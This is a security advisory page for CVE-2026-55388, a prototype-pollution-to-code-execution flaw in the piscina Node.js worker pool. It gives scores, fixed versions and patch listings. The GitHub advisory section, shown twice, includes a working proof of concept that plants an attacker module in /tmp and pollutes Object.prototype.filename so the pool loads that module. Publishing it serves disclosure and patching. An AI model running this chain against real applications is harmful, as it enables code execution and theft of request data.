CVE-2026-55388
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.1
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.
- Record
CVE-2026-55388- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-1321
- Updated
- 2026-11-03
EUVDEUVD-2026-38320
8.1
piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.
- Record
EUVD-2026-38320- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-x9g3-xrwr-cwfg
8.1
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
Summary
piscina's constructor and run() paths read the filename option via plain member access:
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.
Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).
Impact
Two preconditions:
- Upstream PP-source somewhere in the process — common in transitive deps
- Attacker-controllable
.mjsat a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain
Once both fire:
- Every
pool.run(task, opts)call across the entire process is hijacked - Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
- Attacker controls the return value — caller receives
worker_response.by = "ATTACKER-WORKER"and any other attacker-supplied response fields — attacker can poison return values to legitimate clients - Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
Affected versions
Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
Proof of concept
A) Minimal in-process PoC
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data…
- Record
GHSA-x9g3-xrwr-cwfg- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-1321
- Updated
- 2026-11-02
NVD
8.1
piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.
- Record
CVE-2026-55388- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-94, CWE-1321
- Updated
- 2026-11-02
OSV
8.1
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
piscina is a node.js worker pool implementation. Prior to 6.0.0-rc.2, 5.2.0, and 4.9.3, piscina's constructor and run() paths read the filename option via plain member access. Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker. This vulnerability is fixed in 6.0.0-rc.2, 5.2.0, and 4.9.3.
- Record
CVE-2026-55388- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321, CWE-94
- Updated
- 2026-11-04
OSVGHSA-x9g3-xrwr-cwfg
8.1
piscina: Prototype Pollution Gadget → RCE via inherited options.filename
Summary
piscina's constructor and run() paths read the filename option via plain member access:
// dist/index.js line 92 (constructor)
const filename = options.filename
? (0, common_1.maybeFileURLToPath)(options.filename)
: null;
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
// dist/index.js line 616 (run())
run(task, options = kDefaultRunOptions) {
if (options === null || typeof options !== 'object') {
return Promise.reject(new TypeError('options must be an object'));
}
const { transferList, filename, name, signal } = options;
Both reads fall through the prototype chain when the caller's options object doesn't have filename as an own property. When Object.prototype.filename is polluted upstream — by any of the well-documented PP-source CVEs (lodash<4.17.13, qs<6.10.3, set-value<4.1.0, minimist<1.2.6, deepmerge<4.2.2, and others) — the inherited value flows to worker_threads.Worker import and the attacker's .mjs runs in the worker.
Subtlety: calling pool.run(task) with no second arg uses kDefaultRunOptions which has filename: null as an OWN property — that path DOES NOT fire. The vulnerable shape is when the caller passes their own options object (commonly {signal: ac.signal} for abort support, {name: ...} for task labelling, etc.). These caller-built options objects inherit from Object.prototype unless the caller explicitly uses Object.create(null).
Impact
Two preconditions:
- Upstream PP-source somewhere in the process — common in transitive deps
- Attacker-controllable
.mjsat a known filesystem path — realistic via upload endpoints, /tmp races, predictable node_modules paths, or supply-chain
Once both fire:
- Every
pool.run(task, opts)call across the entire process is hijacked - Attacker's exported function is called with the legitimate caller's task data — attacker reads per-request app data
- Attacker controls the return value — caller receives
worker_response.by = "ATTACKER-WORKER"and any other attacker-supplied response fields — attacker can poison return values to legitimate clients - Hijack persists until process restart
Strictly worse than the analogous pino chain because piscina actually invokes the attacker function with caller data on every dispatch (pino imports the attacker module once and errors out).
Affected versions
Empirically verified vulnerable on [email protected] (latest stable at time of disclosure). The bug shape is in the constructor's options.filename read at line 92 of dist/index.js, present since the worker-pool API stabilized — likely all 3.x / 4.x / 5.x affected.
Proof of concept
A) Minimal in-process PoC
import fs from 'fs';
// 1) Drop the attacker module (any path the victim process can read)
fs.writeFileSync('/tmp/atk.mjs', `
import fs from 'fs';
fs.writeFileSync('/tmp/PISCINA_RCE_SENTINEL', JSON.stringify({
rce: 'CONFIRMED', pid: process.pid, argv1: process.argv[1],
}));
export default function(arg) { return 'attacker-return-' + JSON.stringify(arg); }
`);
// 2) Upstream PP-source — pollute Object.prototype.filename
// (representative of CVE-2019-10744 lodash<4.17.13, CVE-2022-24999 qs<6.10.3,
// and ~30 historical PP-source CVEs)
const payload = JSON.parse('{"__proto__":{"filename":"/tmp/atk.mjs"}}');
function vulnMerge(t, s) {
for (const k of Object.keys(s)) {
if (s[k] !== null && typeof s[k] === 'object') {
if (!t[k]) t[k] = {};
vulnMerge(t[k], s[k]);
} else t[k] = s[k];
}
}
vulnMerge({}, payload);
// 3) Piscina with empty options inherits the polluted filename
const { Piscina } = await import('piscina');
const p = new Piscina({}); // inherits filename
const result = await p.run({}); // worker imports /tmp/atk.mjs
await p.destroy();
// 4) sentinel exists; attacker fn was called with task data…
- Record
GHSA-x9g3-xrwr-cwfg- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-1321, CWE-94
- Updated
- 2026-11-02
Show 5 moreShow less
OSVCLSA-2026-1784943103 No score
TuxCare security update for piscina (1 CVE)
TuxCare rebuilt piscina to address 1 CVE. Fixed in 4.6.1-tuxcare.1.
- Record
CLSA-2026-1784943103- Updated
- 2026-11-02
OSVCLSA-2026-1792231948 No score
TuxCare security update for piscina (1 CVE)
TuxCare rebuilt piscina to address 1 CVE. Fixed in 4.8.0-tuxcare.2.
- Record
CLSA-2026-1792231948- Updated
- 2026-11-02
OSVCLSA-2026-1792232060 No score
TuxCare security update for piscina (1 CVE)
TuxCare rebuilt piscina to address 1 CVE. Fixed in 4.4.0-tuxcare.2.
- Record
CLSA-2026-1792232060- Updated
- 2026-11-02
OSVCLSA-2026-1793206864 No score
TuxCare security update for piscina (2 CVEs)
TuxCare rebuilt piscina to address 2 CVEs. Fixed in 3.2.0-tuxcare.1.
- Record
CLSA-2026-1793206864- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-55388 No score
CVE-2026-55388 in piscina - Patched by Root
Root has patched CVE-2026-55388 in the piscina package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-55388- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
piscinanpm |
5.0.0-alpha.0 to 5.1.4 | 5.2.0 |
piscinanpm |
through 4.9.2 | 4.9.3 |
piscinanpm |
6.0.0-rc.1 up to 6.0.0-rc.2 | 6.0.0-rc.2 |
piscinaTuxCare:npm |
4.6.1-tuxcare.0 up to 4.6.1-tuxcare.1, plus listed versions 4.6.1 |
4.6.1-tuxcare.1 |
piscinaTuxCare:npm |
4.8.0-tuxcare.0 up to 4.8.0-tuxcare.2, plus listed versions 4.8.04.8.0-tuxcare.1 |
4.8.0-tuxcare.2 |
piscinaTuxCare:npm |
4.4.0-tuxcare.0 up to 4.4.0-tuxcare.2, plus listed versions 4.4.04.4.0-tuxcare.1 |
4.4.0-tuxcare.2 |
piscinaTuxCare:npm From an advisory covering 2 CVEs |
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.1, plus listed versions 3.2.0 |
3.2.0-tuxcare.1 |
piscinanpm |
5.0.0-alpha.0 up to 5.2.0 | 5.2.0 |
piscinanpm |
before 4.9.3 | 4.9.3 |
piscinaRoot:npm |
before 3.2.0-aikido.2 | 3.2.0-aikido.23.2.0-aikido.14.9.2-aikido.1 |
@rootio/piscinaRoot:npm |
before 3.2.0-root.io.2 | 3.2.0-root.io.23.2.0-root.io.14.9.2-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | CVE List, OSV | |
| facts | EUVD | |
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55388 is a high vulnerability (CVSS 8.1) in Piscinajs Piscina, published June 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in piscina 5.2.0.
References
Left out here: the rest of 2 source descriptions. The JSON record has them.